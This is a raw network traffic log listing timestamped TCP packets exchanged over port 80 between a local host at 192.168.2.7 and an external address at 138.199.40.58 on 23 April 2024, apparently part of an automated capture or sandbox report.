Apr 23, 2024 08:39:58.585386992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.585439920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.585460901 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.585486889 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.585550070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.585621119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.585639954 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.585685015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.585702896 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.585922956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.585989952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.586236954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.586260080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.586297035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.586317062 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.586364985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.586421967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.586471081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.586491108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.586545944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.586565018 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.587109089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.587187052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.587255955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.587275028 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.587300062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.587317944 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.587361097 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.587440968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.587723970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.587743998 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.587775946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.587810993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.587842941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.587884903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.587948084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.587973118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.588076115 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.588206053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.588227034 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.588278055 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.588325977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.588488102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.588505030 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.588574886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.588593006 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.589025974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.589040041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.589117050 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.589140892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.589179039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.589199066 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.589272976 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.589350939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.589371920 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.589766979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.589848042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.589871883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.589890003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.589961052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.589968920 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.590104103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.590246916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.590354919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.590379000 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.590428114 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.590456009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.590663910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.590790033 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.590811014 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.590888977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.590960979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.591149092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.591178894 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.591198921 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.591236115 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.591262102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.591365099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.591543913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.591564894 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.591597080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.591619968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.591638088 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.591748953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.591878891 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.591919899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.591962099 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.591983080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.592128038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.592233896 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.592545986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.592607975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.592652082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.592674971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.592736959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.592787981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.592797041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.592833042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.592956066 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.592974901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.593044043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.593108892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.593128920 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.593178034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.593194962 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.593487978 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.593628883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.593648911 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.593702078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.593715906 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.593801975 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.593823910 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.593857050 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.594023943 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.594363928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.594398975 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.594430923 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.594480038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.594564915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.594585896 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.594662905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.594747066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.594882965 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.594906092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.594974995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.595029116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.595036030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.595097065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.595369101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.595395088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.595491886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.595515966 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.595536947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.595603943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.595630884 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.595654011 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.595720053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.595738888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.596282005 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.596354961 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.596376896 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.596399069 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.596468925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.596518993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.596539974 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.596565008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.596580982 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.596626997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.596685886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.596744061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.596765995 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.596791029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.596831083 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.597024918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.597103119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.597125053 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.597163916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.597246885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.597322941 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.597332001 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.597398996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.597423077 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.598124981 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.598216057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.598238945 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.598310947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.598381996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.598484993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.598495960 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.598546982 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.598557949 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.598783970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.598858118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.598907948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.598911047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.598974943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.599024057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.599046946 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.599080086 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.599102974 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.599134922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.599178076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.599183083 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.599253893 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.599359035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.599482059 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.599800110 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.599854946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.599877119 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.599983931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.600075006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.600096941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.600182056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.600277901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.600300074 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.600678921 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.600756884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.600779057 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.600814104 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.600883961 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.600948095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.600971937 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.601047039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.601067066 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.601106882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.601176977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.601269960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.601280928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.601326942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.601345062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.601356030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.601407051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.601452112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.601589918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.601644993 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.601645947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.601874113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.601963043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.601978064 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.602049112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.602083921 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.602104902 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.602431059 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.602494001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.602514029 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.602545023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.602607965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.602662086 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.602682114 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.602751017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.602773905 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.602813959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.602926016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.602993011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.603068113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.603104115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.603185892 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.603275061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.603332043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.603368998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.603394985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.603442907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.603492975 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.603517056 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.603558064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.603614092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.603636980 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.604280949 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.604350090 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.604372978 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.604439020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.604517937 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.604598045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.604610920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.604617119 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.605047941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.605073929 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.605297089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.605422020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.605448008 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.605470896 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.605493069 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.605534077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.605604887 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.605784893 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.605813980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.605876923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.605905056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.605977058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.606061935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.606142044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.606164932 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.606225014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.606321096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.606458902 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.606489897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.606576920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.606642008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.606664896 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.606813908 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.606873989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.606895924 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.606959105 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.607112885 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.607187986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.607244015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.607311010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.607332945 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.607646942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.607728004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.607738972 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.607763052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.607992887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.608053923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.608062983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.608129025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.608151913 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.608175993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.608228922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.608253002 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.608338118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.608613968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.608643055 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.608933926 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.608993053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.609016895 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.609042883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.609183073 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.609214067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.609314919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.609343052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.609365940 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.609433889 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.609553099 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.609641075 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.609745979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.609900951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.609967947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.609992027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.610316992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.610574961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.610888004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.611092091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.611177921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.611186028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.611290932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.611354113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.611458063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.611480951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.611566067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.611663103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.612222910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.612287045 CEST	80	49704	138.199.40.58	192.168.2.7
